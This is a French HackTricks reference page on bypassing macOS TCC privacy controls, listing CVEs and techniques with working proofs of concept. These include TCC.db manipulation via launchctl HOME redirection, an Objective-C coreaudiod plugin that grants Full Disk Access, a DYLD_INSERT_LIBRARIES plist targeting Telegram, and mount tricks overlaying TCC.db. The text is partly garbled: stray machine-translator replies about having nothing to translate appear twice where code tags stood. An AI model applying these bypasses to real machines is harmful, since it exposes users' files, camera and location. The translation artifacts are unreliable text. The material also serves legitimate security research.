| .. | ||
| macos-apple-scripts.md | ||
| README.md | ||
Contournements de macOS TCC
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous accéder à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Obtenez le merchandising officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.
Par fonctionnalité
Contournement d'écriture
Ce n'est pas un contournement, c'est juste le fonctionnement de TCC : Il ne protège pas contre l'écriture. Si le Terminal n'a pas accès en lecture au Bureau d'un utilisateur, il peut quand même y écrire :
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
L'attribut étendu com.apple.macl est ajouté au nouveau fichier pour donner à l'application créatrice l'accès pour le lire.
Contournement SSH
Par défaut, un accès via SSH avait "Accès complet au disque". Pour désactiver cela, vous devez l'avoir listé mais désactivé (le retirer de la liste ne supprimera pas ces privilèges) :
Ici, vous pouvez trouver des exemples de la manière dont certains malwares ont réussi à contourner cette protection :
{% hint style="danger" %} Notez que maintenant, pour pouvoir activer SSH, vous avez besoin d'Accès complet au disque {% endhint %}
Gestion des extensions - CVE-2022-26767
L'attribut com.apple.macl est donné aux fichiers pour donner à une certaine application la permission de le lire. Cet attribut est défini lorsqu'on fait glisser-déposer un fichier sur une application, ou lorsqu'un utilisateur double-clique sur un fichier pour l'ouvrir avec l'application par défaut.
Par conséquent, un utilisateur pourrait enregistrer une application malveillante pour gérer toutes les extensions et appeler les services de lancement pour ouvrir n'importe quel fichier (ainsi le fichier malveillant sera autorisé à le lire).
iCloud
Avec le droit com.apple.private.icloud-account-access, il est possible de communiquer avec le service XPC com.apple.iCloudHelper qui fournira des jetons iCloud.
iMovie et Garageband avaient ce droit et d'autres qui le permettaient.
Pour plus d'informations sur l'exploitation pour obtenir des jetons iCloud à partir de ce droit, consultez la conférence : #OBTS v5.0 : "Ce qui se passe sur votre Mac, reste sur l'iCloud d'Apple ?!" - Wojciech Regula
kTCCServiceAppleEvents / Automatisation
Une application avec la permission kTCCServiceAppleEvents pourra contrôler d'autres applications. Cela signifie qu'elle pourrait abuser des permissions accordées aux autres applications.
Pour plus d'infos sur les scripts Apple, consultez :
{% content-ref url="macos-apple-scripts.md" %} macos-apple-scripts.md {% endcontent-ref %}
Par exemple, si une application a la permission d'Automatisation sur iTerm, par exemple dans cet exemple Terminal a accès à iTerm :
Sur iTerm
Terminal, qui n'a pas d'FDA, peut appeler iTerm, qui l'a, et l'utiliser pour effectuer des actions :
{% code title="iterm.script" %}
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
Since the provided text does not contain any actual content to translate, but only a markdown end code block tag, there is nothing to translate. If you provide the relevant English text, I can then translate it into French for you.
osascript iterm.script
Via Finder
Ou si une application a accès via Finder, elle pourrait utiliser un script tel que celui-ci :
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
Par comportement d'application
CVE-2020–9934 - TCC
Le daemon userland tccd utilisait la variable d'environnement HOME pour accéder à la base de données des utilisateurs TCC depuis : $HOME/Library/Application Support/com.apple.TCC/TCC.db
Selon ce post de Stack Exchange et parce que le daemon TCC fonctionne via launchd dans le domaine de l'utilisateur actuel, il est possible de contrôler toutes les variables d'environnement qui lui sont passées.
Ainsi, un attaquant pourrait définir la variable d'environnement $HOME dans launchctl pour la faire pointer vers un répertoire contrôlé, redémarrer le daemon TCC, puis modifier directement la base de données TCC pour s'octroyer tous les droits TCC disponibles sans jamais demander l'autorisation à l'utilisateur final.
PoC :
# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents
CVE-2021-30761 - Notes
Notes avait accès aux emplacements protégés par TCC, mais lorsqu'une note est créée, elle est créée dans un emplacement non protégé. Ainsi, vous pouviez demander à Notes de copier un fichier protégé dans une note (donc dans un emplacement non protégé) et ensuite accéder au fichier :
CVE-2021-30782 - Translocation
Le binaire /usr/libexec/lsd avec la bibliothèque libsecurity_translocate avait le droit com.apple.private.nullfs_allow qui lui permettait de créer un montage nullfs et avait le droit com.apple.private.tcc.allow avec kTCCServiceSystemPolicyAllFiles pour accéder à tous les fichiers.
Il était possible d'ajouter l'attribut de quarantaine à "Library", d'appeler le service XPC com.apple.security.translocation et ensuite il mapperait Library à $TMPDIR/AppTranslocation/d/d/Library où tous les documents à l'intérieur de Library pouvaient être accessibles.
CVE-2023-38571 - Music & TV
Music a une fonctionnalité intéressante : Lorsqu'il est en cours d'exécution, il va importer les fichiers déposés dans ~/Music/Music/Media.localized/Automatically Add to Music.localized dans la "médiathèque" de l'utilisateur. De plus, il appelle quelque chose comme : rename(a, b); où a et b sont :
a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"
Ce comportement rename(a, b); est vulnérable à une Condition de Course, car il est possible de mettre dans le dossier Automatically Add to Music.localized un faux fichier TCC.db et ensuite, lorsque le nouveau dossier(b) est créé pour copier le fichier, le supprimer et le pointer vers ~/Library/Application Support/com.apple.TCC/.
SQLITE_SQLLOG_DIR - CVE-2023-32422
Si SQLITE_SQLLOG_DIR="path/folder" signifie essentiellement que toute base de données ouverte est copiée dans ce chemin. Dans ce CVE, ce contrôle a été abusé pour écrire dans une base de données SQLite qui va être ouverte par un processus avec FDA la base de données TCC, et ensuite abuser de SQLITE_SQLLOG_DIR avec un lien symbolique dans le nom de fichier de sorte que lorsque cette base de données est ouverte, la base de données TCC de l'utilisateur est écrasée par celle ouverte.
Plus d'infos dans le compte-rendu et dans la conférence.
SQLITE_AUTO_TRACE
Si la variable d'environnement SQLITE_AUTO_TRACE est définie, la bibliothèque libsqlite3.dylib commencera à enregistrer toutes les requêtes SQL. De nombreuses applications utilisaient cette bibliothèque, il était donc possible d'enregistrer toutes leurs requêtes SQLite.
Plusieurs applications Apple utilisaient cette bibliothèque pour accéder aux informations protégées par TCC.
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
Cette variable d'environnement est utilisée par le framework Metal qui est une dépendance de divers programmes, notamment Music, qui possède FDA.
Définir la variable suivante : MTL_DUMP_PIPELINES_TO_JSON_FILE="chemin/nom". Si chemin est un répertoire valide, le bogue se déclenchera et nous pouvons utiliser fs_usage pour voir ce qui se passe dans le programme :
- un fichier sera
open()ed, appeléchemin/.dat.nosyncXXXX.XXXXXX(X est aléatoire) - un ou plusieurs
write()s écriront le contenu dans le fichier (nous ne contrôlons pas cela) chemin/.dat.nosyncXXXX.XXXXXXserarenamed()d àchemin/nom
Il s'agit d'une écriture de fichier temporaire, suivie d'un rename(old, new) qui n'est pas sécurisé.
Ce n'est pas sécurisé car il doit résoudre les chemins ancien et nouveau séparément, ce qui peut prendre du temps et peut être vulnérable à une Condition de Course. Pour plus d'informations, vous pouvez consulter la fonction xnu renameat_internal().
{% hint style="danger" %} Donc, en gros, si un processus privilégié renomme à partir d'un dossier que vous contrôlez, vous pourriez gagner un RCE et le faire accéder à un fichier différent ou, comme dans ce CVE, ouvrir le fichier que l'application privilégiée a créé et stocker un FD.
Si le rename accède à un dossier que vous contrôlez, pendant que vous avez modifié le fichier source ou avez un FD dessus, vous changez le fichier de destination (ou dossier) pour pointer un lien symbolique, afin que vous puissiez écrire quand vous le souhaitez. {% endhint %}
C'était l'attaque dans le CVE : Par exemple, pour écraser la base de données TCC.db de l'utilisateur, nous pouvons :
- créer
/Users/hacker/ourlinkpour pointer vers/Users/hacker/Library/Application Support/com.apple.TCC/ - créer le répertoire
/Users/hacker/tmp/ - définir
MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db - déclencher le bogue en exécutant
Musicavec cette variable d'environnement - intercepter l'
open()de/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX(X est aléatoire) - ici nous
open()également ce fichier pour l'écriture, et conservons le descripteur de fichier - basculer atomiquement
/Users/hacker/tmpavec/Users/hacker/ourlinken boucle - nous faisons cela pour maximiser nos chances de succès car la fenêtre de course est assez étroite, mais perdre la course a peu d'inconvénients
- attendre un peu
- tester si nous avons eu de la chance
- si non, recommencer depuis le début
Plus d'infos sur https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html
{% hint style="danger" %}
Maintenant, si vous essayez d'utiliser la variable d'environnement MTL_DUMP_PIPELINES_TO_JSON_FILE les applications ne se lanceront pas
{% endhint %}
Apple Remote Desktop
En tant que root, vous pourriez activer ce service et l'agent ARD aura un accès complet au disque qui pourrait ensuite être abusé par un utilisateur pour le faire copier une nouvelle base de données utilisateur TCC.
Par NFSHomeDirectory
TCC utilise une base de données dans le dossier HOME de l'utilisateur pour contrôler l'accès aux ressources spécifiques à l'utilisateur à $HOME/Library/Application Support/com.apple.TCC/TCC.db.
Par conséquent, si l'utilisateur parvient à redémarrer TCC avec une variable d'environnement $HOME pointant vers un dossier différent, l'utilisateur pourrait créer une nouvelle base de données TCC dans /Library/Application Support/com.apple.TCC/TCC.db et tromper TCC pour accorder n'importe quelle permission TCC à n'importe quelle application.
{% hint style="success" %}
Notez qu'Apple utilise le paramètre stocké dans le profil de l'utilisateur dans l'attribut NFSHomeDirectory pour la valeur de $HOME, donc si vous compromettez une application avec des permissions pour modifier cette valeur (kTCCServiceSystemPolicySysAdminFiles), vous pouvez weaponize cette option avec un contournement de TCC.
{% endhint %}
CVE-2020–9934 - TCC
CVE-2020-27937 - Directory Utility
CVE-2021-30970 - Powerdir
Le premier POC utilise dsexport et dsimport pour modifier le dossier HOME de l'utilisateur.
- Obtenir un blob csreq pour l'application cible.
- Placer un faux fichier TCC.db avec l'accès requis et le blob csreq.
- Exporter l'entrée des Services d'Annuaire de l'utilisateur avec dsexport.
- Modifier l'entrée des Services d'Annuaire pour changer le répertoire personnel de l'utilisateur.
- Importer l'entrée des Services d'Annuaire modifiée avec dsimport.
- Arrêter le tccd de l'utilisateur et redémarrer le processus.
Le second POC utilisait /usr/libexec/configd qui avait com.apple.private.tcc.allow avec la valeur kTCCServiceSystemPolicySysAdminFiles.
Il était possible d'exécuter configd avec l'option -t, un attaquant pouvait spécifier un Bundle personnalisé à charger. Par conséquent, l'exploit remplace la méthode dsexport et dsimport de changement du répertoire personnel de l'utilisateur par une injection de code configd.
Pour plus d'infos, consultez le rapport original.
Par injection de processus
Il existe différentes techniques pour injecter du code dans un processus et abuser de ses privilèges TCC :
{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}
De plus, l'injection de processus la plus courante pour contourner TCC trouvée est via plugins (chargement de bibliothèque).
Les plugins sont du code supplémentaire généralement sous forme de bibliothèques ou plist, qui seront chargés par l'application principale et s'exécuteront dans son contexte. Par conséquent, si l'application principale avait accès à des fichiers restreints par TCC (via des permissions ou des droits accordés), le code personnalisé en aura également.
CVE-2020-27937 - Directory Utility
L'application /System/Library/CoreServices/Applications/Directory Utility.app avait le droit kTCCServiceSystemPolicySysAdminFiles, chargeait des plugins avec l'extension .daplug et n'avait pas le runtime renforcé.
Pour armer ce CVE, le NFSHomeDirectory est modifié (abusant du droit précédent) afin de pouvoir prendre le contrôle de la base de données TCC des utilisateurs pour contourner TCC.
Pour plus d'infos, consultez le rapport original.
CVE-2020-29621 - Coreaudiod
Le binaire /usr/sbin/coreaudiod avait les droits com.apple.security.cs.disable-library-validation et com.apple.private.tcc.manager. Le premier permettant l'injection de code et le second donnant accès à la gestion de TCC.
Ce binaire permettait de charger des plug-ins tiers depuis le dossier /Library/Audio/Plug-Ins/HAL. Par conséquent, il était possible de charger un plugin et d'abuser des permissions TCC avec ce PoC :
#import <Foundation/Foundation.h>
#import <Security/Security.h>
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}
__attribute__((constructor)) static void constructor(int argc, const char **argv) {
add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
Pour plus d'informations, consultez le rapport original.
Plug-ins de la couche d'abstraction des périphériques (DAL)
Les applications système qui ouvrent un flux de caméra via Core Media I/O (applications avec kTCCServiceCamera) chargent dans le processus ces plugins situés dans /Library/CoreMediaIO/Plug-Ins/DAL (non restreint par SIP).
Il suffit de stocker dans ce répertoire une bibliothèque avec le constructeur commun pour injecter du code.
Plusieurs applications Apple étaient vulnérables à cela.
Firefox
L'application Firefox avait les droits com.apple.security.cs.disable-library-validation et com.apple.security.cs.allow-dyld-environment-variables :
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>
Pour plus d'informations sur comment exploiter cela facilement, consultez le rapport original.
CVE-2020-10006
Le binaire /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl avait les droits com.apple.private.tcc.allow et com.apple.security.get-task-allow, ce qui permettait d'injecter du code dans le processus et d'utiliser les privilèges TCC.
CVE-2023-26818 - Telegram
Telegram avait les droits com.apple.security.cs.allow-dyld-environment-variables et com.apple.security.cs.disable-library-validation, il était donc possible d'en abuser pour accéder à ses permissions telles que l'enregistrement avec la caméra. Vous pouvez trouver le payload dans le writeup.
Notez comment utiliser la variable d'environnement pour charger une bibliothèque, une plist personnalisée a été créée pour injecter cette bibliothèque et launchctl a été utilisé pour la lancer :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist
Par des invocations de open
Il est possible d'invoquer open même en étant dans un bac à sable
Scripts Terminal
Il est assez courant d'accorder au terminal un Accès complet au disque (FDA), du moins sur les ordinateurs utilisés par les techniciens. Et il est possible d'invoquer des scripts .terminal en l'utilisant.
Les scripts .terminal sont des fichiers plist comme celui-ci avec la commande à exécuter dans la clé CommandString :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
Une application pourrait écrire un script terminal dans un emplacement tel que /tmp et le lancer avec une commande telle que :
// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
Par montage
CVE-2020-9771 - contournement de TCC et élévation de privilèges avec mount_apfs
N'importe quel utilisateur (même non privilégié) peut créer et monter un instantané de Time Machine et accéder à TOUS les fichiers de cet instantané.
Le seul privilège nécessaire est que l'application utilisée (comme Terminal) ait l'accès Full Disk Access (FDA) (kTCCServiceSystemPolicyAllfiles) qui doit être accordé par un administrateur.
{% code overflow="wrap" %}
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
{% endcode %}
Une explication plus détaillée est disponible dans le rapport original.
CVE-2021-1784 & CVE-2021-30808 - Montage par-dessus le fichier TCC
Même si le fichier de base de données TCC est protégé, il était possible de monter un nouveau fichier TCC.db par-dessus le répertoire :
{% code overflow="wrap" %}
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg
# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
Since the provided text does not contain any actual content to translate, but only a closing markdown tag for a code block, there is nothing to translate. If you provide the relevant English text, I can then translate it into French for you.
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
Consultez l'exploit complet dans l'article original.
asr
L'outil /usr/sbin/asr permettait de copier l'intégralité du disque et de le monter ailleurs en contournant les protections TCC.
Services de localisation
Il existe une troisième base de données TCC dans /var/db/locationd/clients.plist pour indiquer les clients autorisés à accéder aux services de localisation.
Le dossier /var/db/locationd/ n'était pas protégé contre le montage de DMG donc il était possible de monter notre propre plist.
Par applications au démarrage
{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}
Par grep
À plusieurs reprises, des fichiers stockent des informations sensibles comme des e-mails, des numéros de téléphone, des messages... dans des emplacements non protégés (ce qui constitue une vulnérabilité chez Apple).
Clics synthétiques
Cela ne fonctionne plus, mais c'était le cas dans le passé:
Une autre méthode utilisant les événements CoreGraphics:
Référence
- https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8
- https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
- 20+ façons de contourner vos mécanismes de confidentialité macOS
- Victoire écrasante contre TCC - 20+ NOUVELLES façons de contourner vos mécanismes de confidentialité MacOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous accéder à la dernière version du PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez La famille PEASS, notre collection d'NFTs exclusifs
- Obtenez le merchandising officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.